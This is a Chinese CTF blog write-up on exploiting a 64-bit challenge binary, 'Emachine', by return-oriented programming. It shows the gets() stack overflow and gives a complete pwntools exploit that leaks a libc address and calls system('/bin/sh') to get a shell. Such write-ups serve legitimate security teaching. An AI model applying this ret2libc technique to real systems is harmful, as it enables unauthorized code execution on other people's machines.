暑期pwn! pwn! pang!(四) 64位ROP绕过 Emachine

本文通过一个具体的64位程序案例,详细解析了如何利用ROP技术绕过栈不可执行保护,找到并利用漏洞。从获取libc基址到构造payload实现getshell,深入浅出地介绍了关键步骤。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

先看看保护
在这里插入图片描述

是个64位的,开了栈不可执行保护,先玩玩这个程序
在这里插入图片描述好了,到了开IDA的时间了,咱找到漏洞

int encrypt()
{
size_t v0; // rbx
char s[48]; // [rsp+0h] [rbp-50h]
__int16 v3; // [rsp+30h] [rbp-20h]
memset(s, 0, sizeof(s));
v3 = 0;
puts(“Input your Plaintext to be encrypted”);
gets((__int64)s);
while ( 1 )
{
v0 = (unsigned int)x;
if ( v0 >= strlen(s) )
break;
if ( s[x] <= 96 || s[x] > 122 )
{
if ( s[x] <= 64 || s[x] > 90 )
{
if ( s[x] > 47 && s[x] <= 57 )
s[x] ^= 0xFu;
}
else
{
s[x] ^= 0xEu;
}
}
else
{
s[x] ^= 0xDu;
}
++x;
}
puts(“Ciphertext”);
return puts(s);
}

先上exp

from pwn import *
#context.log_level='debug'
p=process('./Emachine')
elf=ELF('Emachine')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

puts_plt=elf.plt['puts']
start_main=elf.got['__libc_start_main']
main=elf.symbols['main']


p.recv()
p.sendline("1")
#因为gets()在encrypt里面,所以我们发"1"过去
pld1='a'*0x50+'b'*8+p64(0x400c83)+p64(start_main)+p64(puts_plt)+p64(main)
'''64位程序传参,是先把参数传到寄存器里,第一个是rdi,所以我们得找到rdi的地址,然后是我们要传的参数,
然后是调用该参数的函数和返回地址。这里我们将返回地址覆盖为puts函数,将puts的返回地址设为main的
地址,我们是要泄露出libc_start_main的地址,所以把它当成参数传入,这样就能打印出来。'''

p.recv()
#先receive收到的消息,再发送,有助于我们后面的接收,其实就是receive掉那句Input your Plaintext...
p.sendline(pld1)

p.recvuntil('\n')
p.recvuntil('\n')
start_main=u64(p.recvuntil('\n',drop=True).ljust(8,'\0'))
#这儿就是得到libc_start_main的地址啦,后面我们详谈

libcbase=start_main-libc.symbols['__libc_start_main']
#得到libc_start_main的地址,减去得到的偏移,得到libc基址
p.recv()
#我们回到了main函数里面,主菜单又会出来一次,先recv()掉,看着比较舒服
p.sendline("1")   #到encrypt()里面,再进行一次泄露
pld2='a'*0x50+'b'*8+p64(0x400c83)+p64(libcbase+int(*libc.search("/bin/sh")))
+p64(libcbase+libc.symbols['system'])+p64(0xdeadbeef)
#传参"/bin/sh",调用函数,返回地址

p.sendline(pld2)
p.interactive()
#getshell


有几个点,咱来梳理一下:

  • 我们是用本地默认的libc,就算这个版本我们知道,但是libc开了pie,我们要获得system和/bin/sh的地址,还是得知道基址,再加上偏移,所以咱们得先算libc基址,做来做去还是这个思路。
  • 64位程序传参不太理所当然,当参数比七个少时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9,当参数多于七时, 前 6六个与前面一样, 但后面的依次从 “右向左” 放入栈中,即和32位汇编一样。所以就像这个题目我们要传一个参数时,首先要找到rdi的地址
    ROPgadget --binary Emachine

在这里插入图片描述

  • 在收到libc_start_main地址的时候,也有一些细节。我们把debug模式打开
    在这里插入图片描述

0a是\n,我们要的地址在第二个0a和第三个0a之间,用python写上这个控制条件就是了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值